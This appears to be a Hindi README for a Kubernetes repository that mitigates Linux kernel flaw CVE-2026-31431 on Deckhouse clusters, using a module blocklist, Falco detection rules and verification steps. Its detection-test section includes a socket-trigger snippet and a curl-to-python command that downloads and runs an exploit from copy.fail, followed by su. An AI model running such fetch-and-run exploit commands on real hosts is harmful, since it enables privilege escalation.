
CVE-2026-31431 के लिए Kubernetes-मूल शमन, स्वचालित कर्नेल मॉड्यूल अवरोधन के साथ, रनटाइम Falco डिटेक्शन नियम, और Deckhouse क्लस्टर के लिए bashible-आधारित नोड कॉन्फ़िगरेशन।
भाषा: अंग्रेज़ी | Русский
CVE-2026-31431 लिनक्स कर्नेल के algif_aead मॉड्यूल में एक भेद्यता है, जो
AF_ALG सॉकेट परिवार के माध्यम से कर्नेल क्रिप्टो API को उपयोगकर्ता स्थान पर
उजागर करता है। AEAD (Authenticated Encryption with Associated Data)
इंटरफ़ेस में एक दोष एक स्थानीय अनप्रिविलेज्ड उपयोगकर्ता को कर्नेल में मेमोरी
भ्रष्टाचार ट्रिगर करने की अनुमति देता है, जिससे स्थानीय विशेषाधिकार वृद्धि
या सेवा से इनकार हो सकता है।
कमजोर सतह किसी भी प्रक्रिया से पहुंच योग्य है - जिसमें अनप्रिविलेज्ड कंटेनर
भी शामिल हैं - जिसे socket(AF_ALG, SOCK_SEQPACKET, 0) कॉल करने और इसे
aead-प्रकार के एल्गोरिदम से बाइंड करने की अनुमति है। कंटेनर रनटाइम जो
डिफॉल्ट seccomp प्रोफ़ाइल नहीं छोड़ते हैं या socket सिस्टम कॉल परिवार को
प्रतिबंधित नहीं करते हैं, क्लस्टर नोड्स को हमले के लिए उजागर करते हैं।
अनुशंसित शमन, जब तक OS पैकेज अपडेट के माध्यम से अपस्ट्रीम कर्नेल पैच
रोल आउट नहीं किया जाता है, प्रत्येक क्लस्टर नोड पर algif_aead कर्नेल
मॉड्यूल को अक्षम करना और रनटाइम पर शोषण प्रयासों का पता लगाना है।
इस रिपॉजिटरी में Deckhouse-प्रबंधित क्लस्टर पर CVE-2026-31431 को कम करने के लिए आवश्यक सब कुछ है:
ngc-cve-2026-31431.yaml — नोड-पक्ष शमनNodeGroupConfiguration bashible के माध्यम से प्रत्येक नोड पर चलता है और
चार चरण करता है:
AF_ALG सॉकेट खोलता है और इसे
aead/gcm(aes) से बांधता है कि क्या कमजोर इंटरफ़ेस नोड पर पहुंच योग्य है।install निर्देशों के साथ /etc/modprobe.d/disable-algif.conf
लिखता है जो algif_aead (और छाता af_alg) को फिर से लोड होने से रोकता
है, चाहे मैन्युअल रूप से या निर्भरता के रूप में।rmmod algif_aead चलाता
है। यदि मॉड्यूल कर्नेल में बनाया गया है तो इसे छोड़ दिया जाता है (उस
स्थिति में केवल ब्लॉकलिस्ट + रनटाइम डिटेक्शन लागू होता है)।इडेम्पोटेंट: पहले से शमित नोड पर कॉन्फ़िगरेशन को फिर से चलाना एक नो-ऑप है।
far-cve-2026-31431.yaml — रनटाइम डिटेक्शनFalcoAuditRules संसाधन एक कस्टम Falco नियम जोड़ता है जो एक Critical
घटना को ट्रिगर करता है जब भी कोई प्रक्रिया एक AF_ALG सॉकेट खोलती है और
इसे एक aead एल्गोरिदम से बांधती है (इस हमले के लिए अद्वितीय syscall
पैटर्न)। यह एक Warning घटना भी उत्सर्जित करता है जब कोई प्रक्रिया
modprobe/insmod के माध्यम से algif_aead मॉड्यूल को लोड करने का प्रयास
करती है, जो शमित नोड पर कभी सफल नहीं होना चाहिए और शोषण प्रयास या ऑपरेटर
गलत कॉन्फ़िगरेशन का एक मजबूत संकेत है।
संस्करण नोट:
FalcoAuditRulesकोruntime-audit-engineमॉड्यूल द्वारा समेटा जाता है, जो केवल Deckhouse एंटरप्राइज़ संस्करण (EE) और प्रमाणित सुरक्षा संस्करण (CSE) में शिप किया जाता है। सामुदायिक संस्करण पर संसाधन संसाधित नहीं किया जाएगा; इस रिपॉजिटरी काNodeGroupConfigurationअभी भी लागू होता है और प्राथमिक शमन है।
kubectl apply -f ngc-cve-2026-31431.yaml
# EE / CSE केवल:
kubectl apply -f far-cve-2026-31431.yaml
प्रत्येक नोड पर कॉन्फ़िगरेशन लागू होने की प्रतीक्षा करने के लिए प्रत्येक
NodeGroup की स्थिति देखें। Bashible प्रति-चरण सफलता की रिपोर्ट वापस
NodeGroup में करता है, और Deckhouse उसे दो फ़ील्ड में एकत्रित करता है
जिन्हें आप पोल कर सकते हैं:
.status.upToDate — नोड्स की संख्या जिनका नवीनतम bashible रन वर्तमान
कॉन्फ़िगरेशन के साथ सफल हुआ। अभिसरण तब पहुंचता है जब प्रत्येक समूह के
लिए upToDate == nodes।.status.conditionSummary.ready — "True" जब समूह स्वस्थ होता है;
किसी भी नोड के bashible चरण के विफल होने पर "False" हो जाता है और
.status.conditionSummary.statusMessage में मानव-पठनीय कारण दिखाता है (यह
ठीक वही है जो NodeGroupConfiguration में सत्यापन चरण उस नोड पर करता है
जहां फिक्स लागू नहीं किया जा सका)।सभी समूहों में एक बार देखने के लिए:
kubectl get nodegroups
NAME TYPE READY NODES UPTODATE ... STATUS MESSAGE
master Static 3 3 3
worker Cloud 5 5 5
एक स्क्रिप्टेबल जांच जो केवल तब 0 से बाहर निकलती है जब प्रत्येक समूह अभिसरित हो गया हो:
kubectl get nodegroups -o json | jq -e '
.items[]
| select((.status.upToDate // 0) != (.status.nodes // 0)
or (.status.conditionSummary.ready // "False") != "True")
' >/dev/null && echo "still converging" || echo "all node groups converged"
यदि कोई NodeGroup conditionSummary.ready == "False" के साथ अटक गया है,
तो .status.conditionSummary.statusMessage पढ़ें — यह विफल होने वाले
bashible चरण को सतह पर लाता है, जिसमें इस शमन से सत्यापन चरण भी शामिल है।
एक बार प्रत्येक नोड पर आधिकारिक फिक्स वाले अपस्ट्रीम कर्नेल पैकेज स्थापित हो जाने के बाद, दोनों संसाधनों को हटा दें:
kubectl delete -f far-cve-2026-31431.yaml --ignore-not-found
kubectl delete -f ngc-cve-2026-31431.yaml
NodeGroupConfiguration को हटाने से /etc/modprobe.d/disable-algif.conf
स्वचालित रूप से नहीं हटता है — यदि आप मॉड्यूल को फिर से लोड करने योग्य
बनाना चाहते हैं तो इसे मैन्युअल रूप से साफ करें, या यदि क्लस्टर पर किसी
भी वर्कलोड द्वारा कर्नेल क्रिप्टो API का उपयोग नहीं किया जाता है तो
ब्लॉकलिस्ट को छोड़ दें।
क्लस्टर-व्यापी:
kubectl get nodegroups
UPTODATE को NODES के बराबर होना चाहिए और प्रत्येक समूह के लिए स्थिति
संदेश कॉलम खाली होना चाहिए।
एक नोड पर (SSH या kubectl debug node/<name> + chroot /host):
cat /etc/modprobe.d/disable-algif.conf
lsmod | grep algif_aead
modprobe -n -v algif_aead
modprobe algif_aead; echo "exit=$?"
अपेक्षित:
cat चार install / blacklist पंक्तियाँ दिखाता है।lsmod खाली है।modprobe -n -v install /bin/false प्रिंट करता है।modprobe exit=1 लौटाता है।इस उप-खंड का उपयोग यह मान्य करने के लिए करें कि CVE-2026-31431 के लिए
कस्टम FalcoAuditRules वास्तव में प्रत्येक PoC रन पर ट्रिगर होता है।
दोनों परिदृश्यों के लिए सामान्य पूर्व-जांचें:
runtime-audit-engine सभी नोड्स पर स्वस्थ है:kubectl -n d8-runtime-audit-engine get ds runtime-audit-engine \
-o custom-columns=NAME:.metadata.name,DESIRED:.status.desiredNumberScheduled,CURRENT:.status.currentNumberScheduled,READY:.status.numberReady,AVAILABLE:.status.numberAvailable
kubectl -n d8-runtime-audit-engine get pods -l app=runtime-audit-engine -o wide
अपेक्षित: DESIRED == READY == AVAILABLE।
kubectl apply -f far-cve-2026-31431.yaml
kubectl get falcoauditrules.deckhouse.io cve-2026-31431-algif-aead -o yaml | sed -n '1,120p'
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=2m
kubectl delete pod cve-31431-test --ignore-not-found
kubectl run cve-31431-test --image=python:3.12 --restart=Never --command -- sleep 600
kubectl wait --for=condition=Ready pod/cve-31431-test --timeout=120s
# Important: use -i so Python receives stdin script
kubectl exec -i cve-31431-test -- python - <<'PY'
import socket
s=socket.socket(38, socket.SOCK_SEQPACKET, 0)
s.bind(("aead","gcm(aes)"))
s.setsockopt(279, 1, b'0123456789abcdef')
print("af_alg_poc_ok")
PY
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
सफाई:
kubectl delete pod cve-31431-test --ignore-not-found
सुरक्षा चेतावनी: निष्पादन से पहले किसी भी डाउनलोड की गई स्क्रिप्ट की हमेशा समीक्षा करें। उत्पादन वातावरण में अंधाधुंध रिमोट स्क्रिप्ट न चलाएं।
अनुशंसित (पहले समीक्षा करें, फिर चलाएं):
curl -fsSL https://copy.fail/exp -o /tmp/copy-fail-exp.py
less /tmp/copy-fail-exp.py
python3 /tmp/copy-fail-exp.py && su
समतुल्य एक-लाइनर (केवल समीक्षा/अनुमोदन के बाद):
curl https://copy.fail/exp | python3 && su
डिटेक्शन जांचें:
kubectl -n d8-runtime-audit-engine logs -fl app=runtime-audit-engine --since=5m \
| grep -E 'CVE-2026-31431 AF_ALG socket created|CVE-2026-31431 AF_ALG AEAD bind|CVE-2026-31431 SOL_ALG key/authsize setsockopt|CVE-2026-31431 algif_aead module load attempt'
| फ़ाइल | उद्देश्य |
|---|
ngc-cve-2026-31431.yaml | NodeGroupConfiguration जो कमजोर इंटरफ़ेस की जांच करता है, algif_aead की लोडिंग को रोकता है, यदि मॉड्यूल वर्तमान में लोड है तो उसे अनलोड करता है, और सत्यापित करता है कि फिक्स प्रभावी है। सभी बंडलों और नोड समूहों पर लागू होता है। |
far-cve-2026-31431.yaml | FalcoAuditRules जो AF_ALG सॉकेट के माध्यम से AEAD एल्गोरिदम से बंधे शोषण प्रयासों का रनटाइम पर पता लगाता है। केवल Deckhouse एंटरप्राइज़ संस्करण (EE) और प्रमाणित सुरक्षा संस्करण (CSE) में उपलब्ध, क्योंकि runtime-audit-engine मॉड्यूल उन संस्करणों में शिप होता है। |